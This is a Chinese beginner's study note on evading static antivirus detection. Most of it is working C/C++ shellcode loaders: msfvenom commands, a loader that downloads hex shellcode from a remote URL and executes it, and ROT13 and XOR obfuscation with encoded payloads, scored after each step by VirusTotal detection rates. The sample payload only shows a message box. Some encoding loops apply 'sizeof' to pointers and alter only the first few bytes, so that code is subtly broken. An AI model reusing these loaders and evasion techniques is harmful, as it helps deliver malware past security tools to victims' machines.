恶意软件研究之静态检测
新手学习记录
文章目录
- 静态检测
- msf生成sheelcode
- 常规sheelcodeloader
- 空shellcode
- messagebox
- remote 远程加载shellcode文件
- 空shellcode
- 弹窗 messagebox
- shellcode混淆
- 使用 ROT13密码 位移13位
- base编码
- XOR异或
- 签名
- 删除链接库
- 切换到x64环境
- 参考链接:
静态检测
反恶意软件解决方案可以用三种类型的检测机制:
1.基于签名的检测-静态检查文件校验和(MD5,SHA1等)以及二进制文件中是否存在已知字符串或字节序列。
2.启发式检测-(通常)对应用程序行为进行静态分析并识别潜在的恶意特征(例如,使用通常与恶意软件相关联的特定功能)。
3.沙盒-对程序进行动态分析,该程序在受控环境(沙盒)中执行,其行为受监视。
存在逃避不同检测机制的多种技术。例如:
1.多态(或至少经常重新编译)的恶意软件可以逃过基于签名的检测。
2.对代码流的混淆可以逃避基于启发式的检测。
3.基于环境检查的条件语句可以检测并绕过沙盒。
4.敏感信息的编码或加密有助于绕过基于签名的检测和启发式检测。
msf生成sheelcode
linux下一键安装msf:https://www.cnblogs.com/qtzd/p/16413870.html
msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.binmsfvenom -p windows/exec cmd=calc.exe -f cmsfvenom -p windows/x64/messagebox TEXT="helloworld!" -f c
下面是弹出消息的sheelcode:
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
常规sheelcodeloader
空shellcode
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main(void) {void * exec_mem;BOOL rv;HANDLE th;DWORD oldprotect = 0;//shellcode在main函数内,存储在pe结构的sections table中的.text部分unsigned char payload[] = {};unsigned int payload_len = sizeof(payload);// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);// 将shellcode复制到申请的内存中,这里还可以用memcpy等RtlMoveMemory(exec_mem, payload, payload_len);// 使用VirtualProtect添加执行权限rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);// 如果返回正常,创建线程执行shellcodeif ( rv != 0 ) {th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;
}
hash-sha256:2555dae75e85e541e6e48725a1eeee67c3b2af55dafa39a7d9671bd2212d4995
VT 10/74:https://www.virustotal.com/gui/file/2555dae75e85e541e6e48725a1eeee67c3b2af55dafa39a7d9671bd2212d4995?nocache=1
messagebox
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main(void) {void * exec_mem;BOOL rv;HANDLE th;DWORD oldprotect = 0;//shellcode在main函数内,存储在pe结构的sections table中的.text部分unsigned char payload[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41""\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60""\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72""\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac""\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2""\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48""\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f""\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49""\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01""\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01""\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1""\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41""\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b""\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58""\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41""\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48""\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5""\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00""\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba""\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2""\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21""\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73""\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";unsigned int payload_len = sizeof(payload);// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);// 将shellcode复制到申请的内存中,这里还可以用memcpy等RtlMoveMemory(exec_mem, payload, payload_len);// 使用VirtualProtect添加执行权限rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);// 如果返回正常,创建线程执行shellcodeif ( rv != 0 ) {th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;
}
hash-sha256:b1530c5b4a97bc5c6ddab4be90e75c202b55c77d0ac5c3fe8ccdab9493e9a43f
VT 查出率27/74 :https://www.virustotal.com/gui/file/b1530c5b4a97bc5c6ddab4be90e75c202b55c77d0ac5c3fe8ccdab9493e9a43f?nocache=1
remote 远程加载shellcode文件
空shellcode
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
using namespace std;// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {if (character >= '0' && character <= '9') {return character - '0';}if (character >= 'a' && character <= 'f') {return character - 'a' + 10;}if (character >= 'A' && character <= 'F') {return character - 'A' + 10;}return 0;
}// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {for (int i = 0; i < hexString.length(); i += 2) {byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);}
}/*** 从指定的URL下载内容并将其存储到给定的缓冲区中。** @param url 要下载的URL* @param buffer 存储下载内容的缓冲区* @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)*/
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {HINTERNET hInternet, hConnect;DWORD bytesRead;DWORD bufferSize = 0;DWORD contentLength = 0;DWORD index = 0;DWORD bufferLength = sizeof(bufferSize);// 打开一个与互联网的连接hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);if (hInternet == NULL) {std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;return 0;}// 打开一个URL连接hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);if (hConnect == NULL) {std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;InternetCloseHandle(hInternet);return 0;}// 查询HTTP响应头中的内容长度HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);std::vector<char> hexBuffer(contentLength + 1, 0);// 读取URL返回的内容到hexBuffer中if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;}else if (bytesRead > 0) {hexBuffer[bytesRead] = '\0';// 调整buffer的大小,以便存储转换后的字节数据buffer.resize(bytesRead / 2);// 将十六进制字符串转换为字节型数组hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);}// 关闭连接InternetCloseHandle(hConnect);InternetCloseHandle(hInternet);// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)return bytesRead / 2;
}int main() {// 把这个URL换成你的shellcode文件的URLLPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt";//存放恶意代码的数组std::vector<unsigned char> buffer;//获取远程url的16进制内容,并将其存放至buffer数组size_t size = GetUrl_HexContent(url, buffer);// 在内存中分配一块可以执行的区域char* exec = (char*)(VirtualAlloc)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 将shellcode复制到该区域memcpy(exec, buffer.data(), size);// 执行该shellcode((void(*) ())exec)();// 打印buffer的内容,只为演示,实际使用中可能并不需要这一步/*for (size_t i = 0; i < buffer.size(); i++) {printf("%02X ", buffer[i]);if ((i + 1) % 16 == 0) {printf("\n");}}*/return 0;
}
hash-sha256:580fd5d029744c260b9e03397ade6b7489b66fd78ada8b6df02711cc0af6651a
安恒沙箱:https://sandbox.dbappsecurity.com.cn/report/76f83ec2-22fd-4424-93bd-7da0ab1ae69b
弹窗 messagebox
由于是远程加载十六进制sheelcode,只需生成十六进制的sheelcode即可
admin@virtual-machine@virtual-machine:/mnt/hgfs/Desktop$ msfvenom -p windows/x64/messagebox TEXT="helloworld!" -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 317 bytes
Final size of hex file: 634 bytes
fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d3e488d8d2501000041ba4c772607ffd549c7c1000000003e488d950e0100003e4c8d851a0100004831c941ba45835607ffd54831c941baf0b5a256ffd568656c6c6f776f726c6421004d657373616765426f78007573657233322e646c6c00
把这个hex放在远程服务上sheelcode_hex.txt中
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
using namespace std;// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {if (character >= '0' && character <= '9') {return character - '0';}if (character >= 'a' && character <= 'f') {return character - 'a' + 10;}if (character >= 'A' && character <= 'F') {return character - 'A' + 10;}return 0;
}// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {for (int i = 0; i < hexString.length(); i += 2) {byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);}
}/*** 从指定的URL下载内容并将其存储到给定的缓冲区中。** @param url 要下载的URL* @param buffer 存储下载内容的缓冲区* @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)*/
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {HINTERNET hInternet, hConnect;DWORD bytesRead;DWORD bufferSize = 0;DWORD contentLength = 0;DWORD index = 0;DWORD bufferLength = sizeof(bufferSize);// 打开一个与互联网的连接hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);if (hInternet == NULL) {std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;return 0;}// 打开一个URL连接hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);if (hConnect == NULL) {std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;InternetCloseHandle(hInternet);return 0;}// 查询HTTP响应头中的内容长度HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);std::vector<char> hexBuffer(contentLength + 1, 0);// 读取URL返回的内容到hexBuffer中if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;}else if (bytesRead > 0) {hexBuffer[bytesRead] = '\0';// 调整buffer的大小,以便存储转换后的字节数据buffer.resize(bytesRead / 2);// 将十六进制字符串转换为字节型数组hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);}// 关闭连接InternetCloseHandle(hConnect);InternetCloseHandle(hInternet);// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)return bytesRead / 2;
}int main() {// 把这个URL换成你的shellcode文件的URLLPSTR url = (char*)"http://192.168.206.129/mar/mar/x64/Release/shellcode_hex.txt";//存放恶意代码的数组std::vector<unsigned char> buffer;//获取远程url的16进制内容,并将其存放至buffer数组size_t size = GetUrl_HexContent(url, buffer);// 在内存中分配一块可以执行的区域char* exec = (char*)(VirtualAlloc)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 将shellcode复制到该区域memcpy(exec, buffer.data(), size);// 执行该shellcode((void(*) ())exec)();// 打印buffer的内容,只为演示,实际使用中可能并不需要这一步/*for (size_t i = 0; i < buffer.size(); i++) {printf("%02X ", buffer[i]);if ((i + 1) % 16 == 0) {printf("\n");}}*/return 0;
}
hash-sha256:5b6df0cfaddd891b28e09ada4623fdb5d8691455926848992a3be6064af5acae
VT 查出率 14/74 :https://www.virustotal.com/gui/file/5b6df0cfaddd891b28e09ada4623fdb5d8691455926848992a3be6064af5acae?nocache=1
shellcode混淆
使用 ROT13密码 位移13位
编码:
#include <stdint.h>
#include <cstdio> // 包含printf的头文件// ROT13 位移13位
void caesar_cipher(unsigned char* data, size_t length) {for (int i = 0; i < sizeof data; i++){((char*)data)[i] = (((char*)data)[i]) - 13;}
}void print_hex(const unsigned char* data, size_t length) {for (size_t i = 0; i < length; ++i) {printf("\\x%02x", data[i]); // 使用 \\x%02x 格式化字符为十六进制}
}int main() {unsigned char payload[] ="\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41""\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60""\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72""\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac""\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2""\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48""\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f""\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49""\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01""\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01""\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1""\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41""\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b""\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58""\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41""\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48""\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5""\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00""\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba""\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2""\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21""\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73""\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";unsigned int payload_len = sizeof(payload);caesar_cipher(payload, payload_len);print_hex(payload, payload_len);printf("\n");return 0;
}
解码执行:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<iostream>
#include<cctype>
using namespace std;//ROT13 编码 逆向位移13
void caesar_cipher(unsigned char* data, size_t length) {for (int i = 0; i < sizeof data; i++){((char*)data)[i] = (((char*)data)[i]) + 13;}
}int main(void) {void* exec_mem;BOOL rv;HANDLE th;DWORD oldprotect = 0;//shellcode在main函数内,存储在pe结构的sections table中的.text部分unsigned char payload[] = "\xef\x3b\x74\xd7\xe3\xf2\xf2\xf2\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x00";unsigned int payload_len = sizeof(payload);caesar_cipher(payload, payload_len);// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);// 将shellcode复制到申请的内存中,这里还可以用memcpy等RtlMoveMemory(exec_mem, payload, payload_len);// 使用VirtualProtect添加执行权限rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);// 如果返回正常,创建线程执行shellcodeif (rv != 0) {th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;
}
hash-sha256:37bada0f00bc012ff183b7a19a89481550b5a652ac55cff218df435cc64c94de
VT 查出率25/73 :
https://www.virustotal.com/gui/file/37bada0f00bc012ff183b7a19a89481550b5a652ac55cff218df435cc64c94de?nocache=1
base编码
XOR异或
加密的脚本 https://github.com/Arno0x/ShellcodeWrapper 虚拟机中没有python,下面是C++实现的
异或脚本:
#include <windows.h>
#include <iostream>
#include <string>
#include <vector>void xorData(unsigned char* data, size_t length, unsigned char* key) {int j = 0;for (int i = 0; i < sizeof length; i++) {if (j == sizeof key - 1) j = 0;data[i] = data[i] ^ key[j];j++;}}void print_hex(const unsigned char* data, size_t length) {for (size_t i = 0; i < length; ++i) {printf("\\x%02x", data[i]); // 使用 \\x%02x 格式化字符为十六进制}
}int main() {unsigned char payload[] ="\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41""\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60""\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72""\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac""\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2""\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48""\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f""\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49""\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01""\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01""\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1""\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41""\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b""\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58""\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41""\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48""\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5""\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00""\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba""\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2""\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21""\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73""\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";unsigned int payload_len = sizeof(payload);unsigned char key[] = "tidesec";xorData(payload, payload_len, key);print_hex(payload, payload_len);}
shellcodeloader:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<iostream>
#include<cctype>
using namespace std;//XOR异或
void xorData(unsigned char* data, size_t length, unsigned char* key) {int j = 0;for (int i = 0; i < sizeof length; i++) {if (j == sizeof key - 1) j = 0;data[i] = data[i] ^ key[j];j++;}
}int main(void) {void* exec_mem;BOOL rv;HANDLE th;DWORD oldprotect = 0;//shellcode在main函数内,存储在pe结构的sections table中的.text部分unsigned char payload[] = "\x88\x21\xe5\x81\x83\x9a\x9c\x8b\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x00";unsigned int payload_len = sizeof(payload);//KEYunsigned char key[] = "tidesec";xorData(payload, payload_len, key);// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);// 将shellcode复制到申请的内存中,这里还可以用memcpy等RtlMoveMemory(exec_mem, payload, payload_len);// 使用VirtualProtect添加执行权限rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);// 如果返回正常,创建线程执行shellcodeif (rv != 0) {th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;
}
hash-sha256 :d282d026e36c415d7ee4edabca6d71a426728708a99cc982ec42e006e2e3f61e
VT : VirusTotal - File - d282d026e36c415d7ee4edabca6d71a426728708a99cc982ec42e006e2e3f61e
签名
MakeCert.exe
C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64>MakeCert.exe
Error: Please either specify the outputCertificateFile or -ss option
Usage: MakeCert [ basic|extended options] [outputCertificateFile]
Basic Options-sk <keyName> Subject's key container name; To be created if not present-pe Mark generated private key as exportable-ss <store> Subject's certificate store name that stores the outputcertificate-sr <location> Subject's certificate store location.<CurrentUser|LocalMachine>. Default to 'CurrentUser'-# <number> Serial Number from 1 to 2^31-1. Default to be unique-$ <authority> The signing authority of the certificate<individual|commercial>-n <X509name> Certificate subject X500 name (eg: CN=Fred Dews)-? Return a list of basic options-! Return a list of extended options
signtool.exe
C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64>signtool.exe
SignTool Error: A required parameter is missing.
Usage: signtool <command> [options]Valid commands:sign -- Sign files using an embedded signature.timestamp -- Timestamp previously-signed files.verify -- Verify embedded or catalog signatures.catdb -- Modify a catalog database.remove -- Remove embedded signature(s) or reduce the size of anembedded signed file.For help on a specific command, enter "signtool <command> /?"
